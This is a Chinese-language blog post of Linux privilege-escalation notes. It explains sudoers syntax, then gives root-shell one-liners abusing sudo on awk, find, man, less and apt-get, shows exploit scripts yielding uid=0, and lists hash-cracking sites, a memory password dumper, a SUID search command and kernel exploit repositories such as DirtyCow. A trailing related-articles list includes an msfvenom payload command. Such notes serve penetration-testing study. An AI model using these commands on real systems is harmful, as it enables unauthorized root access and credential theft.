Linux提權

2021-02-25 安全透視鏡

sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root用戶的登錄 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。

sudo的幾個特點:

        • sudo能夠限制用戶只在某臺主機上運行某些命令。

        • sudo提供了豐富的日誌,詳細地記錄了每個用戶幹了什麼。它能夠將日誌傳到中心主機或者日誌伺服器。

        • sudo使用時間戳文件來執行類似的「檢票」系統。當用戶調用sudo並且輸入它的密碼時,用戶獲得了一張存活期為5分鐘的票(這個值可以在編譯的時候改變)。

        • sudo的配置文件是sudoers文件,它允許系統管理員集中的管理用戶的使用權限和使用的主機。它所存放的位置默認是在/etc/sudoers,屬性必須為0440。

sudoers文件主要有三部分組成:

        • sudoers的默認配置(default),主要設置sudo的一些預設值

  •alias(別名),主要有HostAlias|RunasAlias|UserAlias|CmndAlias

        • 安全策略(規則定義)——重點。

語法:

        • root ALL=(ALL) ALL

      說明1:root用戶可以從 ALL終端作為 ALL(任意)用戶執行,並運行 ALL(任意)命令。

        第一部分是用戶,第二部分是用戶可以在其中使用sudo命令的終端,第三部分是他可以充當的用戶,最後一部分是他在使用時可以運行的命令。sudo

        • touhid ALL= /sbin/poweroff

        說明2:以上命令,使用戶可以從任何終端使用touhid**的用戶密碼**關閉命令電源。

    • touhid ALL = (root) NOPASSWD: /usr/bin/find

        說明3:上面的命令,使用戶可以從任何終端運行,以root用戶身份運行命令find 而無需密碼。

sudo提權

         sudo -l //查看是否有sudo配置

    擁有sudo的ash、awk等權限

    ash

    sudo /bin/ash

awk

sudo awk 'BEGIN {system("/bin/sh")}'

find

sudo find . -exec /bin/sh \: -quit

man

sudo man man!

less

sudo less / etc / hosts!

more

sudo more / etc / hosts!

apt/yum

sudo apt-get update -o APT::Update::Pre-Invoke::=」/bin/bash -i」

sudo⼯具提權

https://github.com/wsfengfan/blog

1、exploit.sh

test:~$ sh exploit.sh
test:~$ sudo -i
root:~# id
uid=0(root) gid=0(root) groups=0(root)

2、exploit_v2.sh

test:~$ sh exploit_v2.sh
test:~$ /tmp/sh -p
root:~# id
uid=0(root) gid=0(root) groups=0(root)

3、exploit_v3.sh

test:~$ sh exploit_v3.sh
root:~# id
uid=0(root) gid=0(root) groups=0(root)

3.etc/passwd哈希

linux的用戶密碼哈希存儲在/etc/shadow文件,普通用戶能夠查看到的則是/etc/passwd這個文件,在/etc/passwd中,比如:root:x:0:0:root:/root:/bin/bash。帳戶的第二列是密碼哈希,如果該列為x則代表密碼哈希存儲在/etc/shadow文件上

md5解密

解密網站:

https://cmd5.com
https://www.somd5.com/

工具

John the Ripper 和 hashcat
Kali2.0集成了John the Ripper和hashcat
https://klionsec.github.io/2017/04/26/use-john/
https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/
mimipenguin
 https://github.com/huntergregal/mimipenguin 原理類似於mimikatz,通過內存導出明文密碼

4.suid/guid文件提權

SUID是uid+s的組合,s指的是特殊權限。一般情況下,用戶的權限是3位,比如0755這樣的,特殊權限默認沒有配置,但是如果超級管理員希望用戶在執行一些特殊權限文件時,擁有root的權限,就會配置特殊權限。

如passwd命令用來修改/etc/shadow文件,而/etc/shadow文件只有root才可以修改,但系統為了讓普通用戶能夠修改自己的密碼,對passwd這個命令賦予了特殊權限並添加了只能修改自己密碼的限制。

由於passwd這個命令是做了限制,所以賦予特殊權限是沒有問題的,但是如果系統超級用戶特殊權限亂用,就會導致提權的問題。

使用如下命令快速查找所有SUID文件:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

命令文件,xxd的作用是將一個文件以16進位的形式顯示出來。他被配置了特殊權限,並且用戶組為itservices是擁有執行權限x的。

suid和執行權限在一起就可能導致權限提升

利用有執行權限的SUID文件提權

參考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled

5.docker組提權

參考:
https://fosterelli.co/privilege-escalation-via-docker.html

6.內核漏洞提權

內核提權輔助工具

https://github.com/mzet-/linux-exploit-suggester
\#chmod 777 linux-exploit-suggester.sh
\#./linux-exploit-suggester.sh

示例:

image-20210106141918440

內核提權漏洞(依靠EXP)
\1. 在exploit-db、或者其他搜尋引擎上查找相關提權漏洞。
\2. 利用髒牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )
\3. 一般這種提權漏洞都是c的,需要gcc編譯 gcc filename -o outfilename 。
內核漏洞搜集項目:
https://github.com/lucyoa/kernel-exploits/
https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits
https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~
https://github.com/xairy/kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
常見漏洞:
\1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
\2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)
https://www.exploit-db.com/exploits/15285/

\3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))
https://www.exploit-db.com/exploits/15704/
\4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))
https://www.exploit-db.com/exploits/18411
髒牛提權https://blog.csdn.net/weixin_30455365/article/details/98036465

相關焦點

  • 用於提權的Linux命令,即「xxd」
    本文將為大家介紹另一個可用於提權的Linux命令,即「xxd」。
  • 乾貨|Windows提權方法匯總
    此時如果我們執行一個惡意msi程序,即可達到提權目的同時需要注意的一點是,這個註冊表項不一定總是存在的。POTATO 家族hot potato熱土豆提權。很早前就聽說過了,但一直沒去了解過。前置知識是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一種提權方式。我環境有問題,不能很好的復現🙃,抓包分析啥的先咕咕吧。
  • 強網杯真題實例分析丨Linux內核提權技術
    Linux內核提權技術隨著時代的發展也在不斷推陳出新,尤其是Android內核提權,更是影響到了Linux內核提權技術的發展。今天,i春秋通過一期公開課《Linux內核的花花世界》對Linux內核提權技術進行簡單的回顧總結,以及分析Linux內核提權在嵌入式設備如MIPS架構上的應用。
  • 《入侵生命周期細分實踐指南》:sudo提權攻擊
    sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root用戶的登錄 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。
  • 別人的提權筆記,個人覺的很不錯!值得收藏
    【 web提權 】1.能不能執行cmd就看這個命令:net user,net不行就用net1,再不行就上傳一個
  • 系統內核溢出提權
    "因其利用便捷 成為了最為常用的方法,在使用該方法提權時我們只需要去查看目標系統中打了那些系統補 丁,之後去找補丁的"互補"補丁,並利用對應的提權類的漏洞實現權限提升,本篇文章主要 圍繞"系統內核溢出提權"的一些方法、思路進行簡易介紹~ 權限查看        在獲取到目標系統的shell後,我們需要先確認以下當前用戶以及用戶權限,這一點可以通過 在shell中輸入"whoami
  • Windows提權的幾種常用姿勢
    Windows常用的提權方式有:內核提權、資料庫提權、系統配置錯誤提權、組策略首選項提權、Bypass UAC提權、令牌竊取提權等姿勢。1、內核溢出漏洞提權由於目標系統沒有及時安裝補丁,攻擊者可以利用Windows系統內核溢出漏洞進行提權,輕易獲取system權限。
  • Windows 系統提權方式匯總
    生成惡意程序上傳msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123!-f msi-nouac -o rotten.msi3.運行惡意程序。
  • 如何在Android 4.4以上版本DIY提權程序?
    本期「安仔課堂」,ISEC實驗室劉老師手把手教你:如何在Android 4.4以上版本DIY提權程序?Android的提權程序實際上是手機系統分區中的一個su可執行程序。Android系統是基於linux內核,su相當於Linux下獲取ROOT權限的命令,執行su命令後,當前用戶會被切換成ROOT用戶。
  • 【Vulnhub靶機系列】|1-實戰中如何運用msf攻擊CMS、find命令提權、破解管理員密碼
    涉及知識點:1、信息搜集,nmap應用2、msf攻擊Drupal 7 cms3、破解管理員密碼4、提權Flag3提示詞有perms、find、-exec、shadow共四個特殊提示詞應該要查看shadow文件,並使用find命令提權使用find命令查找有特殊權限suid
  • VHAdmin虛擬主機提權實戰案例
    0x03 實戰提權過程(1) 繞過組件執行命令我們換上ASPX的一句話木馬試試,訪問時出現了以下錯誤,大家看到這種報錯時可能會以為是「網站安全狗(IIS版)禁止IIS執行程序」防護功能造成的,雖然它很像,但其實並不是的,具體目標伺服器的安全設置當時沒有去深入研究。
  • Linux命令: useradd/adduser 新增用戶
    用法實例:非root用戶執行useradd 需臨時調權限,前面加sudo新增一個用戶:user1root下:useradd user1其他用戶:sudo useradd user1查看linux用戶列表:cat /etc/passwd新增一個用戶:user2 並指定用戶組:ftproot下: useradd -g ftp user2
  • 紅隊測試之Windows提權小結
    本文與「酒仙橋六號部隊」的公眾號文章《紅隊測試之Linux提權小結》是兄弟篇,本節主要針對Windows作業系統下的權限提升進行介紹,提權是後滲透重要的一環節,在權限較低的情況下,站在攻擊者的視角進行內部網絡安全測試、系統安全測試、應用安全測試等方面會出現「束縛」,所測試出的質量與結果也會不同。
  • 【Linux內核漏洞利用】強網杯2018-solid_core-任意讀寫
    2.傳統的PXN繞過技術(1)利用ROP技術繞過PXN利用ROP修改內核關鍵數據,達到提權目的。這種攻擊方式是需要進行不同機型中查找到多段代碼片段,如果需要root的機型較多,則需要攻擊者投入較多精力去做適配,另外由於ROP往往要做棧遷移,使得漏洞利用的穩定性不是很好。
  • linux-kernel-pwn-0ctf2018-zerofs
    虛擬文件系統在對題目進行分析之前,需要先對linux虛擬文件系統有一定的掌握。
  • Windows Installer在野提權0day漏洞風險通告,騰訊安全已應急響應
    解決方案威脅情報騰訊T-Sec威脅情報雲查服務(SaaS)1)Windows Installer提權可參考:https://cloud.tencent.com/product/tics騰訊T-Sec高級威脅追溯系統1)Windows Installer提權0day漏洞利用樣本相關信息和情報已支持檢索。網管可通過威脅追溯系統,分析日誌,進行線索研判、追溯網絡入侵源頭。
  • Linux本地信息收集
    java -versionjava的版本信息python --versionpython的版本信息ruby -vruby的版本信息find / -name %program_name%查找有用的軟體which %program_name%查找有用的軟體cat /etc/apache2/envvars查看運行apache的帳號總結這些內容基本上包含了在linux
  • Linux內核攻擊面之eBPF模塊
    由於eBPF提供了一種從用戶面到Linux內核的接口,用戶編寫的eBPF程序可以在內核提供的虛擬機中執行,因此eBPF也是一個重要的內核提權的攻擊面。本文將詳細敘述eBPF的基本原理和實現方法,對eBPF內核提權漏洞CVE-2020-8835的Root Cause進行詳細的分析。通過本文,期望即使對eBPF模塊不熟悉的同學也能夠理解該漏洞的原理。